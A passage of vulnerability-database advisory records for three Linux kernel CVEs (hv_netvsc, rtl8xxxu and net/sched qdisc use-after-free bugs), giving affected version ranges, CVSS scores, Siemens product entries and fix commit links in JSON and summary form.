              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.8",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.310",
                  "versionStartIncluding": "4.19.301",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.272",
                  "versionStartIncluding": "5.4.263",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.213",
                  "versionStartIncluding": "5.10.203",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.152",
                  "versionStartIncluding": "5.15.141",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.79",
                  "versionStartIncluding": "6.1.65",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.18",
                  "versionStartIncluding": "6.6.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.6",
                  "versionStartIncluding": "6.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8",
                  "versionStartIncluding": "6.7",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nhv_netvsc: Register VF in netvsc_probe if NET_DEVICE_REGISTER missed\n\nIf hv_netvsc driver is unloaded and reloaded, the NET_DEVICE_REGISTER\nhandler cannot perform VF register successfully as the register call\nis received before netvsc_probe is finished. This is because we\nregister register_netdevice_notifier() very early( even before\nvmbus_driver_register()).\nTo fix this, we try to register each such matching VF( if it is visible\nas a netdevice) at the end of netvsc_probe."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:04:47.551Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/bcb7164258d0a9a8aa2e73ddccc2d78f67d2519d"
        },
        {
          "url": "https://git.kernel.org/stable/c/c7441c77c91e47f653104be8353b44a3366a5366"
        },
        {
          "url": "https://git.kernel.org/stable/c/5b10a88f64c0315cfdef45de0aaaa4eef57de0b7"
        },
        {
          "url": "https://git.kernel.org/stable/c/b6d46f306b3964d05055ddaa96b58cd8bd3a472c"
        },
        {
          "url": "https://git.kernel.org/stable/c/309ef7de5d840e17607e7d65cbf297c0564433ef"
        },
        {
          "url": "https://git.kernel.org/stable/c/a71302c8638939c45e4ba5a99ea438185fd3f418"
        },
        {
          "url": "https://git.kernel.org/stable/c/4d29a58d96a78728cb01ee29ed70dc4bd642f135"
        },
        {
          "url": "https://git.kernel.org/stable/c/9cae43da9867412f8bd09aee5c8a8dc5e8dc3dc2"
        }
      ],
      "title": "hv_netvsc: Register VF in netvsc_probe if NET_DEVICE_REGISTER missed",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26820",
    "datePublished": "2024-04-17T09:43:47.966Z",
    "dateReserved": "2024-02-19T14:20:24.180Z",
    "dateUpdated": "2026-05-12T11:49:31.479Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-27052 (GCVE-0-2024-27052)

Vulnerability from cvelistv5 – Published: 2024-05-01 12:54 – Updated: 2026-05-12 11:51

Title

wifi: rtl8xxxu: add cancel_work_sync() for c2hcmd_work

Summary

In the Linux kernel, the following vulnerability has been resolved: wifi: rtl8xxxu: add cancel_work_sync() for c2hcmd_work The workqueue might still be running, when the driver is stopped. To avoid a use-after-free, call cancel_work_sync() in rtl8xxxu_stop().

Severity ?

7.4 (High)


                        
                          CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/dddedfa3b29a63c2c…
https://git.kernel.org/stable/c/ac512507ac89c01ed…
https://git.kernel.org/stable/c/3518cea837de4d106…
https://git.kernel.org/stable/c/156012667b85ca730…
https://git.kernel.org/stable/c/7059cdb69f8e1a270…
https://git.kernel.org/stable/c/58fe3bbddfec10c6b…
https://git.kernel.org/stable/c/1213acb478a7181cd…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: e542e66b7c2ee2adeefdbb7f259f2f60cadf2819 , < dddedfa3b29a63c2ca4336663806a6128b8545b4 (git) Affected: e542e66b7c2ee2adeefdbb7f259f2f60cadf2819 , < ac512507ac89c01ed6cd4ca53032f52cdb23ea59 (git) Affected: e542e66b7c2ee2adeefdbb7f259f2f60cadf2819 , < 3518cea837de4d106efa84ddac18a07b6de1384e (git) Affected: e542e66b7c2ee2adeefdbb7f259f2f60cadf2819 , < 156012667b85ca7305cb363790d3ae8519a6f41e (git) Affected: e542e66b7c2ee2adeefdbb7f259f2f60cadf2819 , < 7059cdb69f8e1a2707dd1e2f363348b507ed7707 (git) Affected: e542e66b7c2ee2adeefdbb7f259f2f60cadf2819 , < 58fe3bbddfec10c6b216096d8c0e517cd8463e3a (git) Affected: e542e66b7c2ee2adeefdbb7f259f2f60cadf2819 , < 1213acb478a7181cd73eeaf00db430f1e45b1361 (git)
Linux	Linux	Affected: 5.5 Unaffected: 0 , < 5.5 (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.83 , ≤ 6.1.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8.2 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:5.5:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "affected",
                "version": "5.5"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "58fe3bbddfec",
                "status": "affected",
                "version": "e542e66b7c2e",
                "versionType": "custom"
              }
            ]
          }
        ],
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "HIGH",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.4,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-27052",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-13T15:54:30.303932Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-416",
                "description": "CWE-416 Use After Free",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:46:59.357Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:05.987Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/dddedfa3b29a63c2ca4336663806a6128b8545b4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ac512507ac89c01ed6cd4ca53032f52cdb23ea59"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3518cea837de4d106efa84ddac18a07b6de1384e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/156012667b85ca7305cb363790d3ae8519a6f41e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7059cdb69f8e1a2707dd1e2f363348b507ed7707"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/58fe3bbddfec10c6b216096d8c0e517cd8463e3a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1213acb478a7181cd73eeaf00db430f1e45b1361"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:51:18.072Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu_core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "dddedfa3b29a63c2ca4336663806a6128b8545b4",
              "status": "affected",
              "version": "e542e66b7c2ee2adeefdbb7f259f2f60cadf2819",
              "versionType": "git"
            },
            {
              "lessThan": "ac512507ac89c01ed6cd4ca53032f52cdb23ea59",
              "status": "affected",
              "version": "e542e66b7c2ee2adeefdbb7f259f2f60cadf2819",
              "versionType": "git"
            },
            {
              "lessThan": "3518cea837de4d106efa84ddac18a07b6de1384e",
              "status": "affected",
              "version": "e542e66b7c2ee2adeefdbb7f259f2f60cadf2819",
              "versionType": "git"
            },
            {
              "lessThan": "156012667b85ca7305cb363790d3ae8519a6f41e",
              "status": "affected",
              "version": "e542e66b7c2ee2adeefdbb7f259f2f60cadf2819",
              "versionType": "git"
            },
            {
              "lessThan": "7059cdb69f8e1a2707dd1e2f363348b507ed7707",
              "status": "affected",
              "version": "e542e66b7c2ee2adeefdbb7f259f2f60cadf2819",
              "versionType": "git"
            },
            {
              "lessThan": "58fe3bbddfec10c6b216096d8c0e517cd8463e3a",
              "status": "affected",
              "version": "e542e66b7c2ee2adeefdbb7f259f2f60cadf2819",
              "versionType": "git"
            },
            {
              "lessThan": "1213acb478a7181cd73eeaf00db430f1e45b1361",
              "status": "affected",
              "version": "e542e66b7c2ee2adeefdbb7f259f2f60cadf2819",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu_core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.5"
            },
            {
              "lessThan": "5.5",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.83",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.83",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.2",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: rtl8xxxu: add cancel_work_sync() for c2hcmd_work\n\nThe workqueue might still be running, when the driver is stopped. To\navoid a use-after-free, call cancel_work_sync() in rtl8xxxu_stop()."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:09:28.647Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/dddedfa3b29a63c2ca4336663806a6128b8545b4"
        },
        {
          "url": "https://git.kernel.org/stable/c/ac512507ac89c01ed6cd4ca53032f52cdb23ea59"
        },
        {
          "url": "https://git.kernel.org/stable/c/3518cea837de4d106efa84ddac18a07b6de1384e"
        },
        {
          "url": "https://git.kernel.org/stable/c/156012667b85ca7305cb363790d3ae8519a6f41e"
        },
        {
          "url": "https://git.kernel.org/stable/c/7059cdb69f8e1a2707dd1e2f363348b507ed7707"
        },
        {
          "url": "https://git.kernel.org/stable/c/58fe3bbddfec10c6b216096d8c0e517cd8463e3a"
        },
        {
          "url": "https://git.kernel.org/stable/c/1213acb478a7181cd73eeaf00db430f1e45b1361"
        }
      ],
      "title": "wifi: rtl8xxxu: add cancel_work_sync() for c2hcmd_work",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-27052",
    "datePublished": "2024-05-01T12:54:42.547Z",
    "dateReserved": "2024-02-19T14:20:24.214Z",
    "dateUpdated": "2026-05-12T11:51:18.072Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-53057 (GCVE-0-2024-53057)

Vulnerability from cvelistv5 – Published: 2024-11-19 17:19 – Updated: 2026-05-12 12:01

Title

net/sched: stop qdisc_tree_reduce_backlog on TC_H_ROOT

Summary

In the Linux kernel, the following vulnerability has been resolved: net/sched: stop qdisc_tree_reduce_backlog on TC_H_ROOT In qdisc_tree_reduce_backlog, Qdiscs with major handle ffff: are assumed to be either root or ingress. This assumption is bogus since it's valid to create egress qdiscs with major handle ffff: Budimir Markovic found that for qdiscs like DRR that maintain an active class list, it will cause a UAF with a dangling class pointer. In 066a3b5b2346, the concern was to avoid iterating over the ingress qdisc since its parent is itself. The proper fix is to stop when parent TC_H_ROOT is reached because the only way to retrieve ingress is when a hierarchy which does not contain a ffff: major handle call into qdisc_lookup with TC_H_MAJ(TC_H_ROOT). In the scenario where major ffff: is an egress qdisc in any of the tree levels, the updates will also propagate to TC_H_ROOT, which then the iteration must stop. net/sched/sch_api.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)

Severity ?

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/e7f9a6f97eb067599…
https://git.kernel.org/stable/c/dbe778b08b5101df9…
https://git.kernel.org/stable/c/ce691c814bc7a3c30…
https://git.kernel.org/stable/c/05df1b1dff8f197f1…
https://git.kernel.org/stable/c/580b3189c1972aff0…
https://git.kernel.org/stable/c/597cf9748c3477bf6…
https://git.kernel.org/stable/c/9995909615c3431a5…
https://git.kernel.org/stable/c/2e95c4384438adeaa…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 066a3b5b2346febf9a655b444567b7138e3bb939 , < e7f9a6f97eb067599a74f3bcb6761976b0ed303e (git) Affected: 066a3b5b2346febf9a655b444567b7138e3bb939 , < dbe778b08b5101df9e89bc06e0a3a7ecd2f4ef20 (git) Affected: 066a3b5b2346febf9a655b444567b7138e3bb939 , < ce691c814bc7a3c30c220ffb5b7422715458fd9b (git) Affected: 066a3b5b2346febf9a655b444567b7138e3bb939 , < 05df1b1dff8f197f1c275b57ccb2ca33021df552 (git) Affected: 066a3b5b2346febf9a655b444567b7138e3bb939 , < 580b3189c1972aff0f993837567d36392e9d981b (git) Affected: 066a3b5b2346febf9a655b444567b7138e3bb939 , < 597cf9748c3477bf61bc35f0634129f56764ad24 (git) Affected: 066a3b5b2346febf9a655b444567b7138e3bb939 , < 9995909615c3431a5304c1210face5f268d24dba (git) Affected: 066a3b5b2346febf9a655b444567b7138e3bb939 , < 2e95c4384438adeaa772caa560244b1a2efef816 (git)
Linux	Linux	Affected: 2.6.25 Unaffected: 0 , < 2.6.25 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.229 , ≤ 5.10.* (semver) Unaffected: 5.15.171 , ≤ 5.15.* (semver) Unaffected: 6.1.116 , ≤ 6.1.* (semver) Unaffected: 6.6.60 , ≤ 6.6.* (semver) Unaffected: 6.11.7 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-53057",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-12-11T14:25:23.594430Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-416",
                "description": "CWE-416 Use After Free",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-12-11T14:58:31.650Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:28:50.519Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:01:11.546Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/sched/sch_api.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "e7f9a6f97eb067599a74f3bcb6761976b0ed303e",
              "status": "affected",
              "version": "066a3b5b2346febf9a655b444567b7138e3bb939",
              "versionType": "git"
            },
            {
              "lessThan": "dbe778b08b5101df9e89bc06e0a3a7ecd2f4ef20",
              "status": "affected",
              "version": "066a3b5b2346febf9a655b444567b7138e3bb939",
              "versionType": "git"
            },
            {
              "lessThan": "ce691c814bc7a3c30c220ffb5b7422715458fd9b",
              "status": "affected",
              "version": "066a3b5b2346febf9a655b444567b7138e3bb939",
              "versionType": "git"
            },
            {
              "lessThan": "05df1b1dff8f197f1c275b57ccb2ca33021df552",
              "status": "affected",
              "version": "066a3b5b2346febf9a655b444567b7138e3bb939",
              "versionType": "git"
            },
            {
              "lessThan": "580b3189c1972aff0f993837567d36392e9d981b",
              "status": "affected",
              "version": "066a3b5b2346febf9a655b444567b7138e3bb939",
              "versionType": "git"
            },
            {
              "lessThan": "597cf9748c3477bf61bc35f0634129f56764ad24",
              "status": "affected",
              "version": "066a3b5b2346febf9a655b444567b7138e3bb939",
              "versionType": "git"
            },
            {
              "lessThan": "9995909615c3431a5304c1210face5f268d24dba",
              "status": "affected",
              "version": "066a3b5b2346febf9a655b444567b7138e3bb939",
              "versionType": "git"
            },
            {
              "lessThan": "2e95c4384438adeaa772caa560244b1a2efef816",
              "status": "affected",
              "version": "066a3b5b2346febf9a655b444567b7138e3bb939",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/sched/sch_api.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.25"
            },
            {
              "lessThan": "2.6.25",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.229",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.171",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.116",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.60",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.7",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "2.6.25",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "2.6.25",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.229",
                  "versionStartIncluding": "2.6.25",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.171",
                  "versionStartIncluding": "2.6.25",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.116",
                  "versionStartIncluding": "2.6.25",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.60",
                  "versionStartIncluding": "2.6.25",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.7",
                  "versionStartIncluding": "2.6.25",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "2.6.25",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
